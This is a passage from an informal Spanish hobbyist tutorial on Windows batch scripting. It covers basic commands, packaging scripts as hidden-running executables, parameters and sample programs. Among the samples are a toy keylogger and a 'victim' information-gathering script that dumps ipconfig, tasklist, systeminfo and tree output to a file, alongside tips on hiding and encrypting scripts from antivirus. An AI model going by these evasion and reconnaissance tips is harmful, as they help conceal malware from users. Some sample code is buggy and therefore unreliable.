:: para ti: este bat pregunta la hora y si son las 21:30 hrs el pc se reinicia, de lo contrario
vuelve a
:: preguntar hasta que sea la hora corriendo sin sesar... no te preocupes, casi no gasta
recursos XD

VER
Sirve para ver la version de windows, puede servirte para que tu programa sea compatible
con todas las versiones de Windows desde 9x (o mas antiguas) hasta Windows 8, ya que
hay cambios de nombres en los comandos que podria inutilizar tu programa, por ejemplo:
If %ver% ==windows 9x (goto:codigowin9x) else (goto:codigowin7)
Esta sintaxis es solo un ejemplo y no se aplica a la practica ya que no mostraria la misma
respuesta en un caso real, solo es para que tengas una idea.

Start
Como su nombre lo dice, crea o activa una nueva tarea, el cdigo batch viene a ser como
un nio que despierta a sus hermanos mayores (otros lenguajes), los que hacen tareas que
el no puede. De esta forma batch se complementa con otros lenguajes hacindose
completo y por cierto mas estable (ya vimos que los antivirus "raramente" ven como virus
a batch) pero no dudan en acusar a otro lenguaje, debe se porque batch es parte de
Windows ;)
Dir / Tree
Lo que dir hace es mostrar una lista de los archivos en una ruta especificada (ejemplo dir
C:\) mientras tanto Tree hace lo mismo, solo que en lugar de mostrar una lista crea una
especie de rbol con todas las carpetas y sub carpetas, es como un "modo grfico" de dir.

CD
Lo que este comando que muestra la carpeta actual o te redirige a un lugar en especifico,
por ejemplo:
cd C:\Users\Jorge\Desktop te enviara al escritorio del usuario jorge, es muy util para
explorar el pc y para manejarte con el.

MD / MKDIR
Este comando sirve para crear un directorio, consulta detalles en el "help" de Windows

RD / RMDIR
Sirve para borrar un directorio, tiene como opcin /s que borra un rbol completo desde la
ruta que se ingresa con todos los archivos, la opcin /Q que sirve para hacerlo en modo
silencioso.
Move
Mueve archivos desde una ruta hasta otra, aadiendo /Y suprime la solicitud de
confirmacin. Si en su lugar colocas /-Y entonces pide la confirmacin, o sea usas una de
las dos. :)
Copy
Copia... quieres que te explique?
Xcopy
Esta copia un directorio completo a una ruta en especifico, tiene muchas opciones como
para entretenerse aprendiendo...

Convirtiendo nuestro programa en exe


Este es un tema que no podemos dejar de lado !!, a continuacin veremos un par de
formas de convertir nuestro programa en un exe, lo que nos servira tanto para crear una
utilidad comercial que nos genere algn ingresillo extra como para restringir acceso al
cdigo y as poder esconder utilidades extra dentro de un programa como huevos de
pascua o funciones interesantes. Te mostrare tres formas, pero queda en ti encontrar
mas...

1- Usando Iexpress
Primero que nada presiona la tecla Windows y r al mismo y en el cuadro ejecutar escribe
"iexpress".

Ahora, utilizaremos esto para hacer tu primer programa, sin embargo iexpress sirve para
mucho mas :) , te dejare la misin de potenciar su uso y de paso lee un tuto de "Bindear
archivos" hecho por "Kr34tor" en el foro hackxcrack, no te dar un mega tuto de iexpress
ya que yo conoc esta herramienta por el y no es justo que le robase el crdito :( , solo te
mostrare "este" uso, luego tu descubres el resto :).

Y bue... una ves iniciado veras esta ventana, de aqu en adelante te dir solo lo justo vale?.
(Teniendo ya creado tu bat), presione siguiente, luego deja la opcin "Extract files and run
and inst...", luego te pedir que ingreses un nombre (que en realidad no sirve pah' n),
luego selecciona "no prompt", luego "do not display a license", luego el boton "add" y
aade tu cdigo bat, siguiente, te preguntara "cual programa iniciara" primero, siguiente y
"default", luego te da la opcin de poner o no un mensaje de despedida que se ejecutara
despus de nuestro exe, yo pondr "este fue el primero", luego en "browse", selecciona la
carpeta donde guardaras tu exe y ah si debes ponerle el nombre a tu exe, yo le llame
"virusillofake.exe", siguiente y seleccionas segn tu caso, yo puse "no restart", siguiente,
"dont save" para el SED, siguiente y siguiente... una vez creado presiona "finalizar" y era
!! ... como se dice en mi pas jeje !!.
No es necesario mayores explicaciones. Con esto no solo puedes hacer un programa
inofensivo sino hasta el mas peligroso virus y ni hablar que iexpress te da la opcion de
hacer que se ejecute "oculto"

2.- Usando Winrar


Este este modo tambin se encuentra mucho en red por: "como hacer un portable con
winrar". Se caracteriza por ser mas conocido y muchas veces mas "detectable", aunque
toda dificultad puede superarse con paciencia y ganas...
Entonces: Abre winrar y ubica tu archivo bat, selecciona aadir, en "opciones de
compresin" selecciona "crear un archivo SFX",

Luego en la pestaa avanzado selecciona "opciones SFX", en avanzado debes escribir el


nombre del programa que se ejecutara automticamente una vez el programa se
descomprima, si vas a la pestaa modos... Waaaaa !! mejor date cuenta solo Ja !

... Presionando aceptar y enter a todo ya tenemos listo un exe "nivel bsico", ya despus
tu puedes ir complicandolo un poco :)
dems esta decir que puedes cambiar el icono de tus programas cuando quieras..
3.- Usando batch to exe compiler.

Es un programa no muy conocido que digamos (por la masa) aunque entre los hackers (o
noobs) es una herramienta frecuente :)
La diferencia de este programa a los anteriores es que esta pensado para el batch, puedes
crear y editar cdigo usando el editor del programa, una ves terminaste puedes aadirle
un icono y te da la opcin de ocultar el programa en su ejecucin, as como de aadirle
programas que se ejecuten luego de este... en fin es la suma de todo. Sin embargo no te

quedes solo con esto, descubre cada da nuevas formas de compilar, ocultar y encriptar
tus batch.
Parametros
%0, %1, etc...
opciones ocultas en nuestros programas
Este si que es bueno !!, si te has fijado en la consola aparecen un montn de programas,
los cuales tienen funciones de acuerdo a los parmetros que ingresas, completamente
diferente a la peticin de una palabra (como en set/P) estos no piden nada, pero si
responden a determinado parmetro previamente ingresado en el cdigo.
Con este comando puedes crear tus propias funciones similar a las que hay en help, si
conoces linux tambin estars en conocimiento de esto... mira mejor un ejemplo para que
te enchufes bien vale?.

Practica x
::-------------------------@echo off
if ["%1"]==["c"] (
echo Por lo visto aprendiste !!
) else (echo No lo has conseguido bilolo
echo intenta ejecutando e ingresando el parametro por cmd.)
pause
::-------------------------Pues la verdad es que a mi me costo mucho aprenderlo, pero con el ejemplo ya veras...
Primero:
copialo dentro de la carpeta "system32" ejecutalo y luego te explico, te espero...
Si te dice "No lo has conseguido bilolo":
abre una cmd (ventanita negra), escribe bilolo, presiona espacio y escribe el parmetro, en
este caso si leste el cdigo veras que es "c".
Si te dice "Por lo visto prendiste!!":
Entonces ya te puedo presentar a "tu primer parmetro", as como windows tiene una lista
de parmetros en help, tu ahora has creado el primero. En este caso no hace nada mas
que dar un mensaje, pero si lo agrandas puede hacer muchas cosas, mas adelante te
enseare un uso prctico y muy divertido por cierto, de un programilla que hice XD
EN RESUMEN: y si no lo has entendido, agregarle parmetros a un bat es como ponerle
un set/p, con la diferencia que set/p esta hecho para que te pregunte algo, pero los
parmetros no te preguntan nada, es como una "funcin oculta" de cada programa (que
por cierto la mayora tiene) y puesto que ni lo sospechabas muajaja !!
Por cierto, el %0 hace referencia al programa mismo, el %1 a una funcin que quieras
darle, y as puedes seguir hasta un mximo de %1000 funciones... no sera mucho lucho ??

Los Bugs
Conocemos como bugs a los posibles errores que un
programa pueda tener, siempre que creamos un programa
nos quedan :( , por es existen las versiones en cada
programa (1.0 o 2.5 etc..)
Como consejo, trata de escribir siempre las sintaxis
completas y fijndote siempre en los espacios o en el mas
mnimo detalle, un carcter mal escrito puede echar por la
borda tus intentos de algo y dejarte con una frustracin de
no entender que es lo que pasa, en tales casos lo
recomendable es descansar o dejar tu programa de lado por
un un buen rato o por un da, a veces el sobre esfuerzo hace
que un bug empeore en lugar de mejorar.

PROBLEMA N1 : INTENTO HACER UN BAT, NO FUNCIONA,


PONGO PAUSE ENTRE COMANDOS PARA VER CUAL FALLA,
NO FUNCIONA, QUE HAGO?? :(
R:// Una forma facil de solucionarlo es ejecutando tu bat
desde la linea de comandos (pantalla negra). Imaginando
que tu bat esta en el disco C:\
ENTONCES:
Escribe en la "pantalla negra": cd C:\
Luego escribe "mibat.bat" y ejecutaras tu bat desde la cmd,
de manera que no se cerrara y podras ver EL FUCK !!
MENSAJE DE ERROR QUE NUNCA ALCANZAS A LEER :)
NOTA: si esta en otra carpeta tienes que cambiar la ruta de
cd...
PROBLEMA N 2 : RESULTA QUE HISE UN PROGRAMA DE
CLAVES CON IF PERO ALGUNOS IMBECILES EN LUGAR DE
INGRESAR LA CLAVE INGRESAN NUMEROS, FRASES O ENTER
SOLO, PRODUCIENDO UN ERROR E INHBILITANDO MI SUPER
VIRUS... QUE HAGO ?? :(
R:// Mas adelante notaras un programa de claves el cual
muestra un ejemplo resuelto, lo que pasa es que en el tuto
(intencionalmente) omiti mayores detalles hasta que los
necesites, esto para no marearte demasiado.
ENTONCES:
Si te fijas en la consola, los caracteres se escriben con
claves y parentesis en casi todo. El uso de estos parentesis
garantiza la prevencion de errores:

if %pass%=="garra" (echo bien) else (echo mal)


... Por ejemplo, se da bien. Pero si en su lugar escribes:
IF ["%pass%"]==["garra"] (echo bien) else (echo mal)
El comando if quedara mas completo, o sea que los dos
ejemplos sirven pero el primero es de nivel basico y el
segundo es a prueba de tontos. Dado que usas el potencial
completo de if previniendo errores, con los parentesis y
comillas estas ENFATIZANDO las variables, de manera que
no habra errores ni confusiones.
...Sin embargo aun asi puedes saturarlo, intenta
presionando todas las teclas... hasta que te salgan callos :)
NOTA: Si quieres hacer que IF y ELSE queden en distintas
lineas hazlo de esta forma:
IF ["%pass%"]==["bilolo"] (
echo blabla...
comandos
) else (
comandos
)
Donde "else" siempre queda a continuacion del parentesis,
ya que si no haces esto no IF y ELSE no seran reconocidos
como un solo grupo de comandos y te dara un error.

Proyectos de interes

Aclarar que si bien es cierto, gran parte de estos cdigos son fciles de hacer y no hay
"autor" por as decir de ellos, he trado hasta aqu y de manera que sirvan como ejemplo
para tus propios proyectos un pequea recopilacin de utilidades en batch, algunas de
dominio publico y otras que llevan el nombre de alguien.
OJO: Lo nico que te pido es que muestres un poco de respeto y si copias un cdigo que
pertenezca o tenga el nombre de alguien no hagas tal de cambiarlo por el tuyo, si bien es
cierto un nombre dentro del cdigo no implica derechos legales de autor, imagina lo penka
que seria que tu crearas algo y un da entres al sitio de "superhacker" y veas que tenga su
nombre en tus cdigos... A quien quieres impresionar?. En cuanto a los "programadores",
me tomo la libertad de documentar, espero que no les moleste ya que no he hecho
ninguna variacin a los cdigos recogidos.
Una vez quedando todo claro paso a exponer !! :)
DE AQUI EN ADELANT ME OLVIDO DE LA ORTOGRAFIA... DEJENME DESCANZAR :(

1.-Bat para crear distintos colores dentro de una misma ventana


Si lees el codigo notaras que traduje los comentarios al espaol, pero a proposito de
autores puedes ver que en este caso son "Matt Alvariz y Carlos". No les conosco pero si asi
fuera les agradeceria ya que su codigo me ha servido mucho como base para crearme
proyectos propios y aplicaciones como graficos y firmas.

@ECHO OFF
SETLOCAL ENABLEEXTENSIONS
CALL :CECHO 0A "normal " "Los cometas del latin cometa y el griego kometes son cuerpos
celestes constituidos por hielo y rocas que orbitan el Sol siguiendo orbitas muy elipticas" "
normal"
CALL :CECHO 0A "normal " "Texto coloreado" " normal"
CALL :CECHO 0A "normal " "Texto coloreado" " normal"
CALL :CECHO 0B "normal " "Texto coloreado"
CALL :CECHO 0C "Texto coloreado"
CALL :CECHO 0D "Texto coloreado"
CALL :CECHO 0E "Texto coloreado"
CALL :CECHO 0F "Texto coloreado"
CALL :CECHO CF "Texto coloreado"
CALL :CECHO AF "Texto coloreado"
CALL :CECHO F0 "Texto coloreado"
CALL :CECHO EE "amarillo sobre amarillo"
PAUSE
EXIT /B 0
:CECHO
::Autor: Carlos
::Version 1.0 22:42 07-05-2009
::Se pueden recibir tres argumentos de texto.
::Cada argumento debe ir encerrado entre comillas.
::Si se recibe un solo argumento este es el texto coloreado.
::Si se recibe dos argumentos o tres argumentos,
::el segundo argumento es el texto coloreado.
::Si el texto coloreado tiene mas de 150 caracteres,
::el texto coloreado es truncado a 150 caracteres y
::se recibe un mensaje avisando la accion.
::Basado en el trabajo de: Frank P. Westlake
::disponible en:
:: http://groups.google.co.uk/group/alt.msdos.batch.nt
:: /browse_thread/thread/f819acd4582d5de3/8c81192068307388
SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
PUSHD "%USERPROFILE%\"
IF EXIST COLOR DEL /F /Q /A COLOR > NUL 2>&1
IF EXIST COLOR\ RD /S /Q COLOR > NUL 2>&1
MD COLOR
CD COLOR
SET
SET
SET
SET

"C="
"L1="
"L2="
"L3="

SET "C=%~1"
ECHO.!C!|FINDSTR /R /I "\<[0-9A-F][0-9A-F]\>" > NUL || (
ECHO. DEBE ESPECIFICARSE UN COLOR HEXADECIMAL.
ECHO. COLOR /?
EXIT /B 1
)
SET /A "TAM=0"
SET "L1=%~2"
SET "L2=%~3"
SET "L3=%~4"
IF NOT DEFINED L2 (
SET "L1="
SET "L2=%~2"
SET "L3="
)
CALL :CLEAN C
CALL :CLEAN L1
CALL :CLEAN L2
CALL :CLEAN L3
IF DEFINED L2 CALL :LEN "%L2%"
IF %TAM% GTR 150 (
ECHO.
ECHO.TEXTO COLOREADO REDUCIDO A 150 CARACTERES DE LONGITUD
ECHO.
)
IF DEFINED L2 SET "L2=%L2:~0,150%"
IF DEFINED L2 ECHO.%L3%>"%L2%"
0>NUL SET /P "_=%L1%"
FINDSTR.EXE /A:%C% /R "^" "*"
POPD
IF EXIST "%USERPROFILE%\COLOR" DEL /F /Q /A "%USERPROFILE%\COLOR" > NUL 2>&1
IF EXIST "%USERPROFILE%\COLOR\" RD /S /Q "%USERPROFILE%\COLOR" > NUL 2>&1
:LEN
SETLOCAL ENABLEEXTENSIONS DISABLEDELAYEDEXPANSION
SET /A CONTL=0
SET "WORDL=%~1"
:_LOOPL
IF NOT DEFINED WORDL (GOTO :_ENDL)
SET "WORDL=%WORDL:~1%"
SET /A CONTL +=1
GOTO :_LOOPL
:_ENDL
ENDLOCAL & SET /A TAM=%CONTL%
EXIT /B 0
:CLEAN
::deja solo caracteres dentro del rango a-z 0-9
::y espacio en el contenido de las variables.
::version 2.0
::Version modificada con mas caracteres

::solo para trabajar con funcion cecho.


::Los caracteres agregados son: # $ + - = @
::Recibe un parametro con el nombre de la variable
::que se quiere filtrar su contenido.
::Ejemplo:
::call :clean nombreDeMiVariable
::autores: Matt Alvariz , Carlos
@SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
@SET "V=%*"
@SET "S=!%V%!"
@IF NOT DEFINED S EXIT /B 1
@SET "V="
:LOOP
@FOR %%* IN (
""0123456789ABCDEFG
HIJKLMNOPQRSTUVWXYZ
#$+-= @
) DO @IF /I "!S:~0,1!" EQU "%%~*" SET "V=!V!!S:~0,1!"
@SET "S=!S:~1!"
@IF DEFINED S GOTO :LOOP
@(ENDLOCAL & SET %*=%V%)
@SETLOCAL ENABLEEXTENSIONS
@EXIT /B 0

2.- Batch para abrir sitios web


Este batch es el resultado de uno parecido, pero con bugs. Lo publico un usuario del foro
hackxcrack () y este fue el resultado de la correccion, como puedes ver quedo muy
bueno !!
@echo off
color 0a
title Web Admin 1.0
set /p nombre="Cual es tu nombre?: "
echo Hola %nombre%, como estas !! :)
pause
:main
cls
echo.
echo Elige una opcion:
echo.
echo.
echo 1. Facebook
echo 2. Google
echo 3. Youtube
echo 4. Hackxcrack.es
echo 5. Otra pagina (ingreso manual)
echo 6. Salir
echo.

set/p resp=
if not defined resp (
goto:main)
if ["%resp%"]==["1"] (start www.facebook.com
goto:main)
if ["%resp%"]==["2"] (start www.google.com
goto:main)
if ["%resp%"]==["3"] (start www.youtube.com
goto:main)
if ["%resp%"]==["4"] (start www.hackxcrack.es
goto:main)
if ["%resp%"]==["5"] (goto:manual)
if ["%resp%"]==["6"] (goto:salir)
if not ["%resp%"]==["1"] if not ["%resp%"]==["2"] if not ["%resp%"]==["3"] if not
["%resp%"]==["4"] if not ["%resp%"]==["5"] if not ["%resp%"]==["6"] (
echo Ingresaste una opcion invalida
echo.
pause
goto:main)
:manual
echo Entonces ingresa el sitio que quieres ver manualmente
echo Ejemplo: www.misitio.com
set/P manual="Escrive aqui: "
start %manual%
goto:main
:salir
cls
echo Nos vemos !!
echo.
pause && exit

3.- Bat para solicitar contrasea


Este codigo no tiene derechos, pero de todos modos lo hiso Menrva por una pregunta que
le hise
@echo off
contrasea
goto:loggin
:main
cls
echo no ingresaste nada, vuelve e intentarlo
echo.
pause
:loggin

cls
set/P pass="Para usar el programa ingresa el Pass: "
If not defined pass (goto:main)
if ["%pass%"]==["cris"] (goto:bien) else (goto:mal)
:mal
cls
echo Incorrecta, intentalo denuevo
echo.
pause
goto:loggin
:bien
cls
echo Bien hecho !!
echo.
echo ...Puedes continuar...
pause>>null

4.-bat para reiniciar el explorador de Windows en caso de bloqueo.


@echo off
TASKKILL /F /IM explorer.exe
timeout /nobreak 04
start explorer.exe
5.-Cerrar los programas que no responden
@echo off
taskkill.exe /f /fi "status eq Not Respondin g"
5.- Keylogger (ejemplo)
Este es una ejemplo de lo que hace un Keylogger, aun que es bastante basico y solo capta
lo que escribes dentro del bat.
@echo off
echo Keylogger en batch !!
echo.
pause
cls
:1
set /p puls="Escribe algo: "
echo Escribiste: %puls% >> Teclas.txt
goto:1
6.- Bilolo By Halsenheim (herramienta de auditoria)
Este bat crea un archivo llamado info.txt en la carpeta local, o sea en la misma donde se
encuentre el bat y en ella escrive la direccion ip completa de la "victima", la version del
S.O, la carpeta actual (desde donde se ejecuta) y por ultimo la fecha y hora de ejecucion...
Pensaras que es bastante basico, de hecho tienes Razon :).

Cuando ejecutes el bat veras que ademas crea un archivo llamado "leeme.txt" donde
muestra la ayuda del programa y como usar los parametros, por asi decir "funciones
ocultas" del bat.
Si quieres usar todas las fuciones debes abrir el bat desde la ventana CMD (estando en la
ruta) y escrivir "bilolo quede pal pico tanto fumar marihuana" jajaja asi tal cual y reciviras
muuuucha mas informacion dentro de info.txt ademas de crear all.txt con mas info del
sistema aadiendo una firma extra a info.txt y un grafico en colores al CMD
... waaa no sera mucho lucho ?? ;)

@echo off
color 0a
title bilolo marihuana
echo.
echo.
echo.
echo
#
#
echo
##################
echo
#
#
echo
# Bilolo #
echo
#
By
#
echo
# Halsenheim #
echo
#
#
echo
##################
echo
#
XD
#
echo.
echo.
echo.
echo.
echo INICIA EL ESCANEO DE INFORMACION
echo POR FAVOR ESPERE...
echo ----------------------------------------------------------------- >> info.txt
echo. >> info.txt
echo. >> info.txt
echo
#
# >> info.txt
echo
################## >> info.txt
echo
#
# >> info.txt
echo
# Bilolo # >> info.txt
echo
#
By
# >> info.txt
echo
# Halsenheim! # >> info.txt
echo
#
# >> info.txt
echo
################## >> info.txt
echo
#
XD
# >> info.txt
echo. >> info.txt
echo. >> info.txt
echo INICIA EL PROGRAMA DE INFORMACION... >>info.txt
echo --------------------------- >> info.txt
ECHO --------------------------- >> info.txt

echo Hora actual %time% >> info.txt


echo Fecha actual %date% >> info.txt
echo VERSION: >> info.txt
ver >> info.txt
echo. >> info.txt
echo Carpeta actual (ejecutando desde): >> info.txt
cd >> info.txt
echo. >> info.txt
echo --------------------------- >> info.txt
ECHO --------------------------- >> info.txt
echo Informacion de ip completa: >> info.txt
echo . >> info.txt
ipconfig/all >> info.txt
echo.>> info.txt
echo --------------------------- >> info.txt
echo --------------------------- >> info.txt
ECHO. >> info.txt
if ["%1"]==["quede"] (
echo INFORMACION DE PROCESOS: >> info.txt
echo. >> info.txt
tasklist >> info.txt
echo. >> info.txt
echo --------------------------- >> info.txt
echo --------------------------- >> info.txt
echo.
echo.
echo Se ha enviado la informacion de procesos
)
if ["%2"]==["pal"] (
echo INFORMACION DE ARBOL COMPLETO: >> info.txt
echo. >> info.txt
tree >> info.txt
echo. >> info.txt
echo --------------------------- >> info.txt
echo --------------------------- >> info.txt
echo Se ha enviado la informacion de arbol completo
)
if ["%3"]==["pico"] (
WMIC /output: all.txt OS get /all /format:LIST
echo Se ha creado el archivo all.txt con informacion del SO de WMIC
)
if ["%4"]==["tanto"] (
ping localhost > nul
echo INFORMACION DEL SISTEMA OPERATIVO: >> info.txt

systeminfo >> info.txt


echo ------------------------------------- >> info.txt
echo ------------------------------------- >> info.txt
echo Se ha enviado la informacion del sistem operativo
)
if ["%5"]==["fumar"] (
echo LISTA COMPLETA DE DRIVERS INSTALADOS: >> info.txt
driverquery >> info.txt
echo. >> info.txt
echo --------------------------- >> info.txt
echo --------------------------- >> info.txt
echo. >> info.txt
echo Se ha enviado la lista completa de drivers instalados
)
if ["%6"]==["marihuana"] (
goto:wau
)
echo.
echo LISTO !
echo SUS RESULTADOS HAS SIDO TRASLADADOS INFO.TXT
pause
cls
echo
NOTA:
echo.
echo Si haz hablitado parametros desde la consola (el tercero especificamente)
echo se creara otro archivo llamado all.txt donde muestra informaciones de WMIC
echo que puedes complementar con la "informacion del sistema operativo"
echo que aparece en info.txt (para ayuda consultar al archivo leeme)
echo BILOLO AYUDA >leeme.txt
echo. >>leeme.txt
echo Quieres sacar el maximo potencial a esta herramienta de auditoria?
>>leeme.txt
echo. >>leeme.txt
echo Bien, si asi es: >>leeme.txt
echo Abre el programa desde la consola de comandos, para ello abre una
>>leeme.txt
echo ventana CMD (pantallita negra) de Windows y con el comando "CD"
>>leeme.txt
echo accede a la ruta del archivo, suponiendo que este en el escritorio:
>>leeme.txt
echo. >>leeme.txt
echo CD C:\Users\Juan\Desktop >>leeme.txt
echo. >>leeme.txt
echo entonces tienes que ingresar lo parametros que estan definidos por orden

>>leeme.txt
echo del uno a 6, por ejemplo, estando en la ruta del archivo escribes: >>leeme.txt
echo. >>leeme.txt
echo "bilolo quede pal pico tanto fumar marihuana" >>leeme.txt
echo. >>leeme.txt
echo siendo bilolo el nombre del programa a ejecutar y >>leeme.txt
echo desde "quede" hasta "marihuana" parametros del uno al 6. >>leeme.txt
echo ingresandolos por orden reciviras la funcion de auditoria >>leeme.txt
echo concerniente a toda la informacion del PC, junto con >>leeme.txt
echo un colorido huevo de pascua de la naturaleza XD >>leeme.txt
echo. >>leeme.txt
echo Recuerda que los parametros estan en orden de primero ultimo, >>leeme.txt
echo no puedes saltarte uno. A continuacion sus funciones especificas:
>>leeme.txt
echo. >>leeme.txt
echo bilolo : Nombre del programa, debes ingresarlo primero para que se ejecute
>>leeme.txt
echo quede
: Informacion de procesos, muestra todos los programas que se
estan ejecutando, >>leeme.txt
echo
como antivirus, navegador y todo el resto >>leeme.txt
echo pal
: Informacion del arbol completo, muestra todos los archivos y
carpetas existentes >>leeme.txt
echo pico
: Muestra la informacion detallada del Sistema operativo desde el
punto de vista de WMIC, >>leeme.txt
echo
para ello crea un nuevo archivo llamado all.txt, con el fin de ser
comparado con info.txt >>leeme.txt
echo
en la seccion de informacion del sistema bajo el punto de vista de
Systeminfo >>leeme.txt
echo tanto
: Informacion del sistema operativo, similar al archivo all.txt, pero
queda dentro de info.txt >>leeme.txt
echo
y posee un formato que mejora la lectura, debe ser leido junto a all.txt
para complementarse >>leeme.txt
echo fumar
: Lista detallada de los drivers instalados, entregando informacion
completa para auditorias ;) >>leeme.txt
echo marihuana : Este es un huevo de pascua, usese solo si desea experimentarlo,
muestra un grafico de una hoja >>leeme.txt
echo
dentro de la consola con distintos colores... no tiene utilidad mas que
adorno >>leeme.txt
echo. >>leeme.txt
echo. >>leeme.txt
echo. >>leeme.txt
echo Eso es todo, >>leeme.txt
echo nos leemos !! >>leeme.txt
echo. >>leeme.txt
echo Halsenheim. osmendezr1@hotmail.com>>leeme.txt
pause
goto:salir

:wau
echo. >> info.txt
echo FIRMA >> info.txt
echo. >> info.txt

echo
echo
echo

echo

echo

echo


echo


echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo
echo
echo. >> info.txt

>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>

info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt

echo GRACIAS POR USAR ESTE PROGRAMA !! >> info.txt


echo Halsenheim osmendezr1@hotmail.com >> info.txt
echo. >> info.txt
echo.
echo reproduciendo huevo de pascua - firma

SETLOCAL ENABLEEXTENSIONS
CALL :CECHO 0A " "
CALL :CECHO 0A " "
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0E "

"
CALL :CECHO 0E "

"
CALL :CECHO 0E "

"
CALL :CECHO 0E "

"
CALL :CECHO 0E "

"
CALL :CECHO 0C "

"
CALL :CECHO 0C "

"
CALL :CECHO 0C "

"
CALL :CECHO 0C "

"
CALL :CECHO 0C "

"
CALL :CECHO 0A "

"
CALL :CECHO 0A "

"
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E "

"
CALL :CECHO 0E "
"
CALL :CECHO 0E " "
CALL :CECHO 0A " "
::--------------------

echo
echo
echo

Marihuarte

By Halsenheim

::-------------------PAUSE
EXIT /B 0
:CECHO
SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
PUSHD "%USERPROFILE%\"
IF EXIST COLOR DEL /F /Q /A COLOR > NUL 2>&1
IF EXIST COLOR\ RD /S /Q COLOR > NUL 2>&1
MD COLOR
CD COLOR
SET
SET
SET
SET

"C="
"L1="
"L2="
"L3="

SET "C=%~1"
ECHO.!C!|FINDSTR /R /I "\<[0-9A-F][0-9A-F]\>" > NUL || (
ECHO. DEBE ESPECIFICARSE UN COLOR HEXADECIMAL.
ECHO. COLOR /?
EXIT /B 1
)
SET /A "TAM=0"
SET "L1=%~2"
SET "L2=%~3"
SET "L3=%~4"
IF NOT DEFINED L2 (
SET "L1="
SET "L2=%~2"
SET "L3="
)
CALL :CLEAN C
CALL :CLEAN L1
CALL :CLEAN L2
CALL :CLEAN L3
IF DEFINED L2 CALL :LEN "%L2%"
IF %TAM% GTR 150 (
ECHO.
ECHO.TEXTO COLOREADO REDUCIDO A 150 CARACTERES DE LONGITUD
ECHO.
)
IF DEFINED L2 SET "L2=%L2:~0,150%"

IF DEFINED L2 ECHO.%L3%>"%L2%"
0>NUL SET /P "_=%L1%"
FINDSTR.EXE /A:%C% /R "^" "*"
POPD
IF EXIST "%USERPROFILE%\COLOR" DEL /F /Q /A "%USERPROFILE%\COLOR" > NUL
2>&1
IF EXIST "%USERPROFILE%\COLOR\" RD /S /Q "%USERPROFILE%\COLOR" > NUL
2>&1
:LEN
SETLOCAL ENABLEEXTENSIONS DISABLEDELAYEDEXPANSION
SET /A CONTL=0
SET "WORDL=%~1"
:_LOOPL
IF NOT DEFINED WORDL (GOTO :_ENDL)
SET "WORDL=%WORDL:~1%"
SET /A CONTL +=1
GOTO :_LOOPL
:_ENDL
ENDLOCAL & SET /A TAM=%CONTL%
EXIT /B 0
:CLEAN
@SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
@SET "V=%*"
@SET "S=!%V%!"
@IF NOT DEFINED S EXIT /B 1
@SET "V="
:LOOP
@FOR %%* IN (
""ABECHILMNRSTUY
) DO @IF /I "!S:~0,1!" EQU "%%~*" SET "V=!V!!S:~0,1!"
@SET "S=!S:~1!"
@IF DEFINED S GOTO :LOOP
@(ENDLOCAL & SET %*=%V%)
@SETLOCAL ENABLEEXTENSIONS
@EXIT /B 0
:salir
msg * Eso fue todo !!

7.-Buscador google by July


@echo off
color 0c
Title Buscador.- by july
echo.
echo.
set /p o1=escriba lo que quiera buscar aqui:
echo.
echo.
echo Ahora presione cualquier tecla para comenzar a buscar ...
pause>nul
start http://www.google.es/search?q=%o1%&rls=com.microsoft:es&ie=UTF-8&oe=UTF8&startIndex=&startPage=1

8- codigo para calcular resistencias (electronica) Bi URI++


@echo off
:ini
color 0f
cls
title codigo de colores BY URI++
echo.
echo
HOLA ! ESTE ES UN PEQUENO PROGRAMA
echo
PARA SACAR EL VALOR DE LAS RESISTENCIAS
echo
MEDIANTE EL CODIGO DE COLORES
echo.
echo
CREATED BY URI++
echo.
echo.
echo 1.- VER CODIGO DE COLORES

echo.
echo 2.- SACAR EL VALOR DE LAS RESISTENCIAS
echo.
set /p ver=
ELIJE UNA OPCION :
if %ver%== 1 goto ver
if %ver%== 2 goto conv
if not defined %ver% goto ini
:ver
cls
echo
+++++++++++++++++
echo
CODIGO DE COLORES
echo
=================
echo
NEGRO == 0
echo.
echo
CAFE == 1
echo.
echo
rojo == 2
echo.
echo
naranja == 3
echo.
echo
amarillo == 4
echo.
echo
verde == 5
echo.
echo
azul == 6
echo.
echo
violeta == 7
echo.
echo
gris == 8
echo.
echo
blanco == 9
pause>nul
goto ini
:conv
cls
set negro == 0
set cafe == 1
set rojo == 2
set naranja ==3
set amarillo == 4
set verde == 5
set azul == 6
set violeta == 7
set gris == 8
set blanco == 9
cls
set /p v= introduce el color de la primera franja :
if %v%==negro set v=1
if %v%==cafe (set v=1)
if %v%==rojo (set v=2)
if %v%==naranja (set v=3)
if %v%==amarillo (set v=4)
if %v%==verde (set v=5)
if %v%==azul (set v=6)

if %v%==violeta (set v=7)


if %v%==gris (set v=8)
if %v%==blanco (set v=9)
cls
COLOR 0A
set /p u= introduce el color de la segunda franja :
if %u%==negro set u=1
if %u%==cafe (set u=1)
if %u%==rojo (set u=2)
if %u%==naranja (set u=3)
if %u%==amarillo (set u=4)
if %u%==verde (set u=5)
if %u%==azul (set u=6)
if %u%==violeta (set u=7)
if %u%==gris (set u=8)
if %u%==blanco (set u=9)
cls
COLOR 0d
set /p o= introduce el numeo de la tercera franja :
if %o%==negro set o=1
if %o%==cafe (set o=10)
if %o%==rojo (set o=100)
if %o%==naranja (set o=1000)
if %o%==amarillo (set o=10000)
if %o%==verde (set o=100000)
if %o%==azul (set o=1000000)
if %o%==violeta (set o=10000000)
if %o%==gris (set o=100000000)
if %o%==blanco (set o=1000000000)
if %o%==dorado (set o=1/10)
if %o%==plateado (set o=1/100)
cls
